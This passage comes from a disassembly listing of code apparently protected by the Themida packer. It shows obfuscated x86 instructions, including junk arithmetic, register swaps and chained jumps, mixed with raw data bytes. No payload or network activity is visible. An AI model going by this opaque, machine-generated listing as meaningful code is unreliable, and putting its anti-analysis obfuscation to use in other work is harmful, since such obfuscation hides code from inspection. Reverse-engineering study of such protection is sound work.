0E95606ADh, 0FFFF8A69h ; --------------------------------------------------------------------------- loc_551054: ; CODE XREF: Themida_:00549896j or ebx, 66041EF2h xor ebx, 53624D5Ch add ebx, 0FD90C5C6h add edi, ebx pop ebx shl edi, 8 add edi, 9ADCBB1Fh mov esi, edi pop edi add edi, 24A52BC1h jmp loc_54D729 ; --------------------------------------------------------------------------- loc_551080: ; CODE XREF: Themida_:00550065j and ecx, edi push dword ptr [esp] pop edi push edi jmp loc_54E714 ; --------------------------------------------------------------------------- dd 0D8597C68h, 0BF57583Bh, 3BD85978h, 0E95FF831h, 0FFFFAEF5h dd 53EB815Bh, 19293CAh, 0BB535BDEh, 4, 565BDE01h, 42474FFh dd 5224348Bh, 0C2815A54h, 4, 4C281h, 14870000h, 0B127E924h dd 0FF54FFFFh, 0E95E2434h, 0FFFF5398h, 8104C483h, 4EBh dd 241C8700h, 0E924248Bh, 0FFFFDF1Fh ; --------------------------------------------------------------------------- loc_5510F0: ; CODE XREF: Themida_:00549A09j sub esp, 4 mov [esp], ecx mov cl, 0E0h push eax sub esp, 4 mov [esp], ebx jmp loc_54E57F ; --------------------------------------------------------------------------- db 4 dd 1C8B6663h, 87FFE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551112: ; CODE XREF: Themida_:0054845Aj sub bl, ah mov eax, [esp] jmp loc_54E950 ; --------------------------------------------------------------------------- dd 81240C8Bh, 4C4h, 0FB50E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55112A: ; CODE XREF: Themida_:0054B6BEj push 1 mov edx, [esp] add esp, 4 and eax, edx push dword ptr [esp] jmp loc_54B5B7 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24148900h, 0FFC743E9h, 241C89FFh, 4D41A9BBh, 8E3C139h dd 7CF1EB81h, 3BE94727h, 89FFFFCAh, 9FE92404h, 0C1FFFF50h dd 0E98102E9h, 2A5B77CAh, 0F181D9F7h, 5104708Eh, 95A0F181h dd 39E9BA05h, 5EFFFFB3h, 83242C8Bh, 474704C4h, 33C78147h dd 816F0A6Ch, 0A246AEF7h, 401E905h, 34FF0000h, 2434FF24h dd 4C4835Fh, 0FFBA6EE9h, 1CFDBFFFh, 30E9550Dh, 33FFFF79h dd 14312414h, 24143324h, 6624248Bh, 9C240CFFh, 0FF5039E9h dd 0CDC281FFh, 4A54B478h, 0E94AD2F7h, 0FFFFAB14h, 8B243C87h dd 0D3E92424h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5511EB: ; CODE XREF: Themida_:00547BFEj mov ebx, esp add ebx, 4 jmp loc_54F4FC ; --------------------------------------------------------------------------- aXbsC db '!ÁXéÆ~ç',0 db 0E9h, 0ACh, 0B2h dd 8B66FFFFh, 0FEE92404h db 89h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55120F: ; CODE XREF: Themida_:0054B567j add eax, 0ED546252h push ecx mov ecx, 241E3F57h or ecx, 75737C95h or ecx, 1C833908h or ecx, 7484456Ah jmp loc_54C85D ; --------------------------------------------------------------------------- loc_551231: ; CODE XREF: Themida_:0054B962j add edi, 4 push ecx jmp loc_54CBAE ; --------------------------------------------------------------------------- db 0BDh, 0B5h, 53h dd 0F58134D0h, 6ED83854h, 0E907E5C1h, 0FFFF93B6h, 0F603EAC0h dd 0F764E9D2h, 0F66FFFFh, 0C1E902B6h, 81FFFFCDh, 4C4h dd 24048F00h, 2424D25Ch, 4F94E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551276: ; CODE XREF: Themida_:00547050j xchg ebp, [esp] pop esp jmp loc_54C1E5 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 5F16E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55128A: ; CODE XREF: Themida_:0054A5EBj xchg bh, cl jmp loc_54F894 ; --------------------------------------------------------------------------- loc_551291: ; CODE XREF: Themida_:0054F1C9j mov [esp], ebx mov ebx, esp add ebx, 4 push eax mov eax, 4 jmp loc_54A50D ; --------------------------------------------------------------------------- db 0FFh dd 0F6E92C77h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5512AF: ; CODE XREF: Themida_:00548950j xor esi, 0BC0ADC0Ch sub ebx, esi pop esi push edi jmp loc_548A82 ; --------------------------------------------------------------------------- dw 0D388h dd 815BDC88h, 4ECh, 241C8900h, 0D988E388h, 0E3E9585Bh dd 1FFFF97h, 0BA525DE8h, 4, 685AD029h, 5860h, 0FF240489h dd 58042474h, 0FF7F2DE9h, 242489FFh, 4240481h, 0E9000000h dd 13F7h, 2C8BE801h, 4C48324h, 0FFA25BE9h, 40478FFFh, 0FFD6F8E9h dd 2D830DFFh, 0F8E925D4h, 53000012h, 0C37AD3BBh, 7FF0BF23h dd 96E972F8h db 63h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551333: ; CODE XREF: Themida_:00551E4Ej sub ecx, 393B2BE5h jmp loc_54766D ; --------------------------------------------------------------------------- dw 1489h dd 0F8CBBA24h, 0D0310669h, 5524148Bh, 0BF575D54h, 4, 815FFD01h dd 4EDh, 242C8700h, 97BE9h, 241C8700h, 6824248Bh, 6938h dd 0BE243489h, 3809EC6Eh, 0FF6BEFE9h, 0C8F681FFh, 0E9116A37h dd 0FFFF71A8h, 0C102E5C1h, 0C58104EDh, 14D4CE73h, 89EE8956h dd 0FDE9E9F7h, 0C800FFFFh, 0E959A704h, 0FFFF7A64h ; --------------------------------------------------------------------------- loc_5513A8: ; CODE XREF: Themida_:005498A5j push 715Eh mov [esp], ecx mov ecx, 6091195h push ebp mov ebp, 20E24C51h or ecx, ebp jmp loc_54A298 ; --------------------------------------------------------------------------- dw 0C181h dd 2, 0FF8209E9h, 242C8BFFh, 81E38953h, 4C3h, 4C38300h dd 5C241C87h, 295AD329h, 5F85E9C3h, 148BFFFFh, 55E95624h dd 0FF00000Dh, 34FF3877h, 0EC835924h, 241C8904h, 0C381E389h dd 4, 0A2E95351h, 52FFFF99h, 0F277DEBAh, 0FFEA8374h, 8C19E956h dd 159FFFFh, 866CE9D0h, 1489FFFFh, 2B58BA24h, 656837F7h dd 0E93C80EAh, 0FFFFA825h, 8701EB83h, 57CA81DAh, 53218979h dd 6A6593BBh, 7644E920h, 0C981FFFFh, 681444E1h, 0E902E9C1h dd 0FFFF8BCDh, 4240481h, 0E9000000h, 0FFFFE96Fh ; --------------------------------------------------------------------------- loc_551468: ; CODE XREF: Themida_:00547B65j push ecx push ebx mov ebx, 59766195h sub ebx, 54775AC2h jmp loc_54C35B ; --------------------------------------------------------------------------- loc_55147A: ; CODE XREF: Themida_:0054A49Cj or dh, 0B8h inc dh dec dh not dh jmp loc_54E41B ; --------------------------------------------------------------------------- loc_551488: ; CODE XREF: Themida_:005526F6j sub edx, 24A216E7h sub edx, ecx add edx, 24A216E7h jmp loc_548CDD ; --------------------------------------------------------------------------- db 66h dd 0C5B35350h, 0F380D3F6h, 25F380A6h, 5BD888h, 885866C7h dd 0C8FE5BF8h, 0B304D8F6h, 88C78853h, 0C0585BF9h, 0F18003E1h dd 80D9F611h, 0A72C04F1h, 0FFFECDE9h, 0E9EB00FFh, 0FFFFBEE2h ; --------------------------------------------------------------------------- loc_5514D8: ; CODE XREF: Themida_:005472CBj add edi, 4 add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp mov edi, [esp] add esp, 4 not edi push 23AAh mov [esp], eax jmp loc_550567 ; --------------------------------------------------------------------------- dw 5425h dd 0E9213F15h, 0FFFFA858h, 74FF535Fh, 8F5B0424h, 248B2404h dd 66E9F624h, 53CCB60Fh, 5356E389h, 0D4077BBh, 4815320h dd 0B5554224h, 7D37E967h, 0CB01FFFFh, 241C8759h, 11E9555Ch dd 68FFFF72h, 468Bh, 0E9241C89h, 0A07h, 8B2434FFh, 54562404h dd 8324348Bh, 0C68104C4h, 4, 4C681h, 34330000h, 24343124h dd 5C243433h, 56E28952h, 4BEh, 3DC28100h, 120730Dh, 3DEA81F2h dd 0E920730Dh, 0FFFFA771h, 4C481h, 0D3880000h, 4FE9535Ah dd 81FFFFF1h, 26EA18EFh, 0E9F801D5h, 0FFFF8584h ; --------------------------------------------------------------------------- loc_5515B0: ; CODE XREF: Themida_:0054CEC9j push ebx mov ebx, 0EBD62B64h push ebx pop edi pop ebx add edi, ebp mov ebp, [esp] add esp, 4 sub dword ptr [esp+4], 2D9C44D6h add [esp+4], edi add dword ptr [esp+4], 2D9C44D6h mov edi, [esp] add esp, 4 pop eax sub eax, 297746F7h mov edx, [esp] add esp, 4 jmp loc_54E1E2 ; --------------------------------------------------------------------------- dw 34FFh dd 89575A24h, 4C781E7h, 81000000h, 4C7h, 243C8700h, 6624248Bh dd 8366DEF7h, 816601EEh, 666869EEh, 6671322Dh, 49E9F001h dd 57000006h, 726B4ABFh, 0E9FB0156h, 0FFFF963Bh, 89F08950h dd 0F577E9C1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55163A: ; CODE XREF: Themida_:0054F1F7j xchg ecx, edx not ecx xchg ecx, edx jmp loc_548D5C ; --------------------------------------------------------------------------- db 5Bh, 80h, 0C6h dd 5AF32839h, 63C38059h, 0ADEB80h, 7276E9C3h, 34FFFFFFh dd 0AE685824h, 8900001Bh, 1F68240Ch, 89000076h, 4812424h dd 424h, 240C8B00h, 4C481h, 0C1810000h, 4, 4C181h, 0E9510000h dd 0FFFF822Bh ; --------------------------------------------------------------------------- loc_551690: ; CODE XREF: Themida_:00549E5Cj push edi mov edi, 7525DA4h jmp loc_54BA28 ; --------------------------------------------------------------------------- db 8Fh dd 55E92404h db 5Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5516A3: ; CODE XREF: Themida_:0054AB46j mov ecx, 456B1936h neg ecx jmp loc_549BAE ; --------------------------------------------------------------------------- db 54h dd 0C7BA525Bh, 0E92CFC58h, 0FFFF7258h, 6A0CBD55h, 0F581466Bh dd 1A087D6Ch, 4508E5C1h, 0FF8425E9h db 0FFh ; --------------------------------------------------------------------------- loc_5516D1: ; CODE XREF: Themida_:0054A1C5j sub ebp, edi pop edi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_54EC3B ; --------------------------------------------------------------------------- dw 1431h dd 24143324h, 4A0E9h, 4C48100h, 88000000h, 0D30458C7h dd 0FF57A6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5516FD: ; CODE XREF: Themida_:0054A44Bj pop ecx not ecx add ecx, 2A2336EAh add ecx, 0BABCC1C9h mov esi, ecx pop ecx add eax, 76C9268Ch jmp loc_54B50B ; --------------------------------------------------------------------------- db 30h, 0DAh, 5Bh dd 0F8E9D730h, 31000010h, 14332414h, 34FF5C24h, 89505924h dd 17A668E0h, 0C2E90000h, 53FFFFACh, 0CD658368h, 0E3815B3Bh dd 57D539A8h, 0FF5560E9h, 81E289FFh, 4C2h, 4C28100h, 87000000h dd 248B2414h, 0D95DE924h, 0CA81FFFFh, 3FA26229h, 0FAE9D2F7h dd 66FFFFECh, 83240C8Bh, 8BE902C4h, 0BBFFFF4Ah, 3F2366EBh dd 5BAFF381h, 0DE31CF37h, 5A1E2D5Bh, 0F0012282h, 0FF958BE9h db 0FFh ; --------------------------------------------------------------------------- loc_551799: ; CODE XREF: Themida_:00547253j mov esi, [esp] add esp, 4 sub esp, 4 jmp loc_548A29 ; --------------------------------------------------------------------------- dw 0F6B8h dd 947CF20h, 0DAF7E9C1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5517B6: ; CODE XREF: Themida_:0054659Aj mov esi, [esp] jmp loc_54C963 ; --------------------------------------------------------------------------- dw 0BA05h dd 0E9439A0Fh, 0FFFFA981h ; --------------------------------------------------------------------------- loc_5517C8: ; CODE XREF: Themida_:00549B2Fj push small 2B4Dh mov [esp], ax push ecx push ebx mov bl, 0Bh jmp loc_54CCF0 ; --------------------------------------------------------------------------- loc_5517D9: ; CODE XREF: Themida_:00546378j and edi, esi pop esi and edi, 85420CEh neg edi add edi, 91D747Fh jmp loc_54A24F ; --------------------------------------------------------------------------- db 53h dd 4BBh, 0E9DF0100h, 0FFFF65DFh, 3C8BFE01h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xchg esi, [esp] mov esp, [esp] bts [esp], ax pushf jmp loc_54620A ; --------------------------------------------------------------------------- dw 3489h dd 2BE24h, 0C7810000h, 62FD5470h, 0FFBF9DE9h, 81D301FFh dd 39138EEBh, 2434FF42h, 4C4815Ah, 83000000h, 1C3302C3h dd 9CA8E924h, 0EBC1FFFFh, 0E3C14302h, 7EC38107h, 0E9656705h dd 0FFFF6257h, 49A0E9C3h, 0F281FFFFh, 76C00F55h, 0C2E98158h dd 0E978AA4Ch, 0FFFF80BEh, 315F685Eh, 1C890000h, 35A9BB24h dd 686D6Ch, 29000000h, 9E9241Ch, 81FFFFF8h, 423D32F5h dd 0E9EA0148h, 0FFFF8BFDh ; --------------------------------------------------------------------------- loc_5518A4: ; CODE XREF: Themida_:0054FAA8j not dword ptr [esp] pop esi jmp loc_54878E ; --------------------------------------------------------------------------- db 5Eh, 0E9h, 4Dh dd 33FFFFDDh, 2C31242Ch, 242C3324h, 240C895Ch, 0ED8040B5h dd 2E5C0EEh, 8904EC83h, 39B7241Ch, 0F6CCE780h, 2EC83D7h dd 24048966h, 0FFAC97E9h db 0FFh ; --------------------------------------------------------------------------- loc_5518E1: ; CODE XREF: Themida_:00550DC1j mov [esp], ebx jmp loc_54D8D5 ; --------------------------------------------------------------------------- db 20h, 0FDh, 5Bh dd 0F580D5F6h, 59EB0073h, 0FFC0B60Fh, 0EC838734h, 24348904h dd 0FFC03CE9h, 4900E9FFh, 0CB01FFFFh, 0E9240C8Bh, 0FFFF647Eh ; --------------------------------------------------------------------------- loc_551914: ; CODE XREF: Themida_:0055222Dj add ebx, 0FAAA26B0h mov ecx, ebx pop ebx and edi, ecx jmp loc_5479E1 ; --------------------------------------------------------------------------- dd 0FF48E1E9h, 732DBBFFh, 2DE9273Eh, 89FFFF5Bh, 0E2892414h dd 0FF939FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55193D: ; CODE XREF: Themida_:0054C77Aj xor [esp], ebp xor ebp, [esp] mov esp, [esp] push 6159h mov [esp], esi mov esi, 48B46AE1h push ebp mov ebp, 652104C3h xor ebp, 46DE4ABAh neg ebp xor ebp, 4FBA2AB1h not ebp inc ebp add ebp, 0D3009F88h and esi, ebp pop ebp xor esi, 52EB7072h inc esi push edx mov edx, 3AA60CA6h jmp loc_54A43C ; --------------------------------------------------------------------------- db 5Ch, 89h, 0Ch dd 5E33E924h, 0EC83FFFFh, 240C8904h, 2C605868h, 1905591Bh dd 10F1664h, 48B668C8h, 3C890000h, 5D03BF24h, 0EFC171E7h dd 0F7CF8708h, 4EC81D1h, 89000000h, 5F51243Ch, 0EF13E959h dd 0F029FFFFh, 2404875Eh, 80EE95Ch, 34FF0000h, 0A6ADE924h dd 0BE66FFFFh, 14E94BB7h, 89FFFF75h, 4C281E2h, 81000000h dd 4EAh, 24148700h, 2434895Ch, 16417CBEh, 81D6F760h, 7700C5CEh dd 7E6C16Eh, 8E6C146h, 7F02BB53h, 18E9209Ch db 8Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551A17: ; CODE XREF: Themida_:0054A329j mov esi, [esp] add esp, 4 and eax, edi mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp shr eax, 12h xor eax, ecx xor eax, edx xor edx, eax xor eax, edx push 690h mov [esp], edx push edi jmp loc_550DEC ; --------------------------------------------------------------------------- dw 15Fh dd 0E9042474h, 0FFFF55BBh ; --------------------------------------------------------------------------- loc_551A58: ; CODE XREF: Themida_:00551D85j mov ebp, 31290B1Eh add ebp, 1D79FCD9h jmp loc_549893 ; --------------------------------------------------------------------------- loc_551A68: ; CODE XREF: Themida_:0054F20Bj add esp, 4 jmp loc_54E981 ; --------------------------------------------------------------------------- db 0FFh dd 148B2434h, 4C48324h, 780C68h, 24048900h, 0BE56E089h dd 4, 835EF001h, 48704C0h, 24248B24h, 8904EC83h, 0E6892434h dd 4C681h, 0C6810000h, 4, 0FF4DE0E9h db 0FFh ; --------------------------------------------------------------------------- loc_551AB1: ; CODE XREF: Themida_:00546744j not edx shl edx, 1 jmp loc_54BC9A ; --------------------------------------------------------------------------- dw 0C181h dd 0FFDFFE03h, 31F0BE56h, 74013680h, 815E0824h, 0A9042444h dd 1441B4Fh, 8104244Ch, 0A904246Ch, 81441B4Fh, 0F004246Ch dd 59368031h, 5E2434FFh, 5004C483h, 81E68956h, 4C6h, 4EE8100h dd 87000000h, 0F7E92434h, 51FFFFE3h, 68143EB9h, 0F8E9813Eh dd 0E93CB9B8h, 0FFFF54DEh, 4EC81ADh, 89000000h, 0BF57241Ch dd 7F9A6ADFh, 0D1E9FB89h db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551B2F: ; CODE XREF: Themida_:0054D731j pop esi jmp loc_552288 ; --------------------------------------------------------------------------- db 0B7h, 0DAh, 0F6h dd 5AEF80DFh, 6804EFC0h, 124Bh, 68240489h, 751Fh, 0B7241C89h dd 5BF888C2h, 0FF9D4CE9h db 0FFh ; --------------------------------------------------------------------------- loc_551B59: ; CODE XREF: Themida_:00552143j xor eax, ebp xor ebp, eax xor eax, ebp jmp loc_54E3FC ; --------------------------------------------------------------------------- loc_551B64: ; CODE XREF: Themida_:0054E95Fj mov [esp], dx jmp loc_54B6AB ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 0C681E689h, 4, 25068h, 241C8900h, 4BBh, 5BDE0100h, 0FFB2F8E9h dd 24248BFFh, 0DC168h, 85CFE900h, 0E95BFFFFh, 0FFFF81ADh dd 5A2414F6h, 0FE07C280h, 9DC4E9CAh, 0C481FFFFh, 4, 4BA52h dd 0BE560000h, 1CAE153Ch, 15EF301h, 3CEB81D3h, 5A1CAE15h dd 0B405E957h, 4B8FFFFh, 1000000h, 0BBB4E9C7h, 2CACFFFFh dd 0E951665Eh, 5EBh ; --------------------------------------------------------------------------- loc_551BE8: ; CODE XREF: Themida_:0054D454j mov eax, 1Ch add eax, edi push 1013h mov [esp], ebx jmp loc_550F20 ; --------------------------------------------------------------------------- dd 4C281h, 0DEE90000h db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551C07: ; CODE XREF: Themida_:0054CE37j not dword ptr [esp] pop edx not edx add edx, 0E1D2B5D0h sub eax, edx mov edx, [esp] add esp, 4 push dword ptr [edi+eax*4] jmp loc_548794 ; --------------------------------------------------------------------------- dw 0EF01h dd 0E9242C8Bh, 621h, 0FF2434FFh, 0C8B2434h, 4C48124h, 0E9000000h dd 0FFFF93C9h, 0C1881EB0h, 4FB758h, 0A7E959CFh, 54FFFFAAh dd 0EFD6E959h, 0ABE9FFFFh, 54FFFF45h, 9FD9E95Dh, 0E953FFFFh dd 0FFFFDBA6h, 71320566h, 8324348Bh, 815704C4h, 4ECh, 240C8900h dd 2A336866h, 41665966h, 1C18166h, 0C1816600h, 686639CEh dd 89661C8Fh, 0BB66241Ch, 29663390h, 0A90AE9D9h, 0EBC1FFFFh dd 36EB8102h, 812BFD3Fh, 2E3BA6C3h, 52D30121h, 0FFF356E9h dd 3FCA81FFh, 8146D96Bh, 5E7AFAC2h, 5AD1011Ch, 36E981h dd 0C181258Fh, 69EC65A2h, 0E902E9C1h, 0FFFF5629h, 2404895Ch dd 5352E089h, 342D19BBh, 1C38306h, 0FFCF6EE9h, 3CF12DFFh dd 0D1052C83h, 5774B70h, 669C6425h, 61C3E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551D0A: ; CODE XREF: Themida_:0054FEA1j pop esp mov [esp], edx push 4D972301h mov edx, [esp] add esp, 4 push eax mov eax, 2EAB7579h neg eax and eax, 29245956h shr eax, 7 sub eax, 108465E6h jmp loc_54BA8D ; --------------------------------------------------------------------------- dw 489h dd 55E08924h, 4045B850h, 0E8C16CB2h, 31484807h, 31C331D8h dd 93D3F7D8h, 5608E0C1h, 6E91BB53h, 0E3D14E79h, 0A9F3EB81h dd 0DE898F6Eh, 67BD555Bh, 927EA16h, 4E95DEEh, 5EFFFF8Eh dd 0FFCDDEE9h db 0FFh ; --------------------------------------------------------------------------- loc_551D79: ; CODE XREF: Themida_:0054ED03j mov ebx, 7F8C622Bh or ebx, 79002DB1h push ebp jmp loc_551A58 ; --------------------------------------------------------------------------- dw 28BDh dd 813D370Ch, 3E11A7EAh, 57EA297Eh, 0A122FCBFh, 0B2BA5279h dd 51652178h, 92FBA52h, 0D1893F0Dh, 47C1815Ah, 212F7848h dd 0C28159CAh, 0D874155Ah, 0B6E9D731h db 0B2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551DC3: ; CODE XREF: Themida_:00550F15j movzx eax, al push dword ptr [edi+eax*4] push 13D1h mov [esp], ebx jmp loc_54C3C1 ; --------------------------------------------------------------------------- dw 0E389h dd 63D4BF57h, 0F7814B7Ah, 4B7A63D0h, 0FFAB85E9h, 5FE954FFh db 5Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551DEF: ; CODE XREF: Themida_:00549D2Ej add edi, 7B0B2193h dec edi push eax mov eax, 34EF690Fh jmp loc_54E7FF ; --------------------------------------------------------------------------- db 66h, 0Fh, 0A3h dd 0E99C2404h, 0FFFF43FEh, 66A6CD81h, 0C5E90E2Bh, 0FFFFFFA0h dd 5B042474h, 8B24048Fh, 0F662424h, 9C2404BBh, 0FF43DDE9h dd 81EDD1FFh, 0E919BBCDh, 31DD311Fh, 0F7DD31EBh, 81DD87D3h dd 0DD4629C5h, 98E8E940h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551E4A: ; CODE XREF: Themida_:00546BDDj pop edx xor ecx, edi pop edi jmp loc_551333 ; --------------------------------------------------------------------------- loc_551E53: ; CODE XREF: Themida_:0054A68Bj push ecx mov ecx, 0A125580h add [esp+4], ecx pop ecx sub [esp], eax jmp loc_54C2B9 ; --------------------------------------------------------------------------- dw 0EB81h dd 2D8D2478h, 0C381CB01h, 2D8D2478h, 81240C8Bh, 4C4h, 0E930FF00h dd 0FFFF4386h, 0A6E9CB31h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551E8B: ; CODE XREF: Themida_:00546823j push ebx pop ebp pop ebx jmp loc_548D0A ; --------------------------------------------------------------------------- db 0F7h dd 5CBD55D7h, 3167CA18h, 59F5E9EFh, 0C89FFFFh, 31BE5624h dd 0E96D0ED4h, 0FFFFAADAh, 0CBE9D801h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551EB7: ; CODE XREF: Themida_:00552766j mov ecx, esp add ecx, 4 jmp loc_54FB3F ; --------------------------------------------------------------------------- dd 5056E189h, 0FF9386E9h, 4338E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551ED2: ; CODE XREF: Themida_:0054694Bj mov [esp], ebx push esp pop ebx add ebx, 4 add ebx, 4 jmp loc_54DBCF ; --------------------------------------------------------------------------- db 89h, 0E7h, 55h dd 68676FBDh, 1ED8308h, 9D4ED81h, 57564458h, 7833BD55h dd 0DDF73EFEh, 1884C581h, 0F5816C90h, 747645h, 0ED6FF581h dd 0EF894BFAh, 7DBA525Dh, 12A5051h, 24148BD7h, 6D4E9h dd 14F75300h, 43435B24h, 4872CB81h, 0C3811315h, 2002208Eh dd 63E2EF81h, 0E9560E26h, 0FFFF7BFFh, 83241C8Bh, 55B04C4h dd 2, 31240433h, 5CE92404h, 0F6FFFFA2h, 5B012454h, 32243C30h dd 3C30243Ch, 429CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551F6E: ; CODE XREF: Themida_:0054C908j push small word ptr [eax] jmp loc_54620A ; --------------------------------------------------------------------------- dw 0DE31h dd 0F0A1E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551F7E: ; CODE XREF: Themida_:0054D971j push 1978h mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push 1E16h mov [esp], ebx mov ebx, esp add ebx, 4 push eax mov eax, 4 add ebx, eax jmp loc_5481BC ; --------------------------------------------------------------------------- loc_551FAC: ; CODE XREF: Themida_:00546FF1j mov ecx, [esp] jmp loc_54C114 ; --------------------------------------------------------------------------- loc_551FB4: ; CODE XREF: Themida_:00548D67j pop edx and eax, ebx push dword ptr [esp] jmp loc_55230F ; --------------------------------------------------------------------------- db 5 dd 4, 932E9h db 0 ; --------------------------------------------------------------------------- loc_551FC9: ; CODE XREF: Themida_:0054E017j sub ebp, edx jmp loc_54C75A ; --------------------------------------------------------------------------- dd 0D1F7D1F7h, 82C18141h, 1C02BBEh, 0BA76E9CEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551FE2: ; CODE XREF: Themida_:0054AB51j sub dl, cl pop cx sub bl, dl push dword ptr [esp] pop edx add esp, 4 movzx eax, al push dword ptr [edi+eax*4] sub esp, 4 mov [esp], eax push 100465DEh pop eax add dword ptr [esp+4], 643B01CFh add [esp+4], eax sub dword ptr [esp+4], 643B01CFh mov eax, [esp] add esp, 4 push dword ptr [esp] pop eax add esp, 4 jmp loc_54DC5B ; --------------------------------------------------------------------------- dw 0EE81h dd 0C384099h, 0B20EE81h, 0F189237Bh, 0FFF870E9h, 24248BFFh dd 0FF8DB1E9h, 0B704ACFFh, 0C034B252h, 55E907E2h, 29FFFF83h dd 5AD189CAh, 0C181D1F7h, 9F22808Fh, 0FFFE1FE9h, 48B66FFh dd 41606824h, 3C890000h, 0FE6FE924h, 0C781FFFFh, 4, 2474FF57h dd 0BEEEE904h, 2C89FFFFh, 241C8724h, 1C87D3F7h, 242C8B24h dd 0C104C483h, 0D5F704EDh, 132DBF57h, 0E7C14125h, 0EFE78104h dd 4F431437h, 0FFBB09E9h, 0E18951FFh, 4C181h, 0C1810000h dd 4, 0FFAC67E9h, 0D831ADFFh, 0FF41C1E9h, 773768FFh, 685D3656h dd 253Ah, 0FFFFA9E9h, 8B6664FFh, 0EEA5E902h, 5E68FFFFh dd 8900005Bh, 0E954243Ch, 0FFFF9D40h, 0C0E9DA29h, 81FFFFD7h dd 4C5h, 4BB5300h, 1000000h, 68E95BDDh db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55210F: ; CODE XREF: Themida_:0054DCD5j xor edx, edi xor eax, edx xor edx, eax xor eax, edx jmp loc_550FE2 ; --------------------------------------------------------------------------- dd 24148B5Bh, 81E18951h, 4C1h, 9ED9E900h, 248BFFFFh, 24042824h dd 40D0E99Ch, 0F800FFFFh, 0FFCB51E9h db 0FFh ; --------------------------------------------------------------------------- loc_552141: ; CODE XREF: Themida_:0054DF05j xchg edx, ebp jmp loc_551B59 ; --------------------------------------------------------------------------- dd 0C681E689h, 4, 4C681h, 34870000h, 3885C24h, 8B2434FFh dd 0C483241Ch, 4C48304h, 0FFA887E9h, 68D301FFh, 40E2h dd 0E9243C89h, 0FFFF9161h ; --------------------------------------------------------------------------- loc_55217C: ; CODE XREF: Themida_:0054F531j or eax, 785F5298h xor eax, esi xor esi, eax xor eax, esi xchg ecx, esi push 766Bh mov [esp], ecx jmp loc_548037 ; --------------------------------------------------------------------------- loc_552196: ; CODE XREF: Themida_:0054AEE6j pop ebx jmp loc_54A354 ; --------------------------------------------------------------------------- dd 0CA0032B1h, 8BD30059h, 83572414h, 248904ECh, 24048324h dd 0C7815F04h, 4, 8704C783h, 248B243Ch, 5F89E924h, 0D3F7FFFFh dd 449C381h, 18E903E3h, 0B5FFFF52h, 66E8004Ah, 0E9D80059h dd 5F3h, 0E9243489h, 0FFFFA3D2h ; --------------------------------------------------------------------------- loc_5521E8: ; CODE XREF: Themida_:0054D3F8j push 5762h mov [esp], ecx not byte ptr [esp] pop ecx add cl, 0F0h sub cl, 5Dh push edx mov dh, 0E0h or dh, 2Ch inc dh or dh, 0EDh sub dh, 16h and cl, dh pop edx add cl, 1 xor cl, 28h sub bh, cl mov ecx, [esp] add esp, 4 xor bh, 80h sub bh, 0ECh inc bh push eax mov al, 36h jmp loc_54F8C1 ; --------------------------------------------------------------------------- loc_55222C: ; CODE XREF: Themida_:00547BD8j pop ebx jmp loc_551914 ; --------------------------------------------------------------------------- dw 0C981h dd 349E6CA3h, 0E905E1C1h, 0FFFFC2DDh, 56241C8Bh, 0FFB5BFE9h db 0FFh ; --------------------------------------------------------------------------- loc_552249: ; CODE XREF: Themida_:0054D6E0j push ecx mov ch, 98h jmp loc_546D6D ; --------------------------------------------------------------------------- db 50h, 0E9h, 26h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_552257: ; CODE XREF: Themida_:0054D7BDj mov ecx, [ebx] pop ebx jmp loc_54A8B0 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812434h, 4, 4EC81h, 3E90000h, 59FFFFB7h, 551268h dd 24348900h, 42474FFh, 0E924348Bh, 0FFFFEFDBh ; --------------------------------------------------------------------------- loc_552288: ; CODE XREF: Themida_:00551B30j pop ebp and eax, edi jmp loc_546B50 ; --------------------------------------------------------------------------- dd 2BB53h, 0D9010000h, 74FF515Bh, 8F590424h, 665C2404h dd 6866F1F7h, 896602D0h, 50662414h, 3F54E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5522B6: ; CODE XREF: Themida_:0054DFBDj inc esi sub esi, 0EE36ED63h push 4C0Bh mov [esp], esi mov edx, [esp] add esp, 4 mov esi, [esp] add esp, 4 xor eax, edx pop edx push ebx push ebp push 0E47270Ah pop ebp push ebp mov ebx, [esp] add esp, 4 pop ebp push esi mov esi, 22C2A11h or 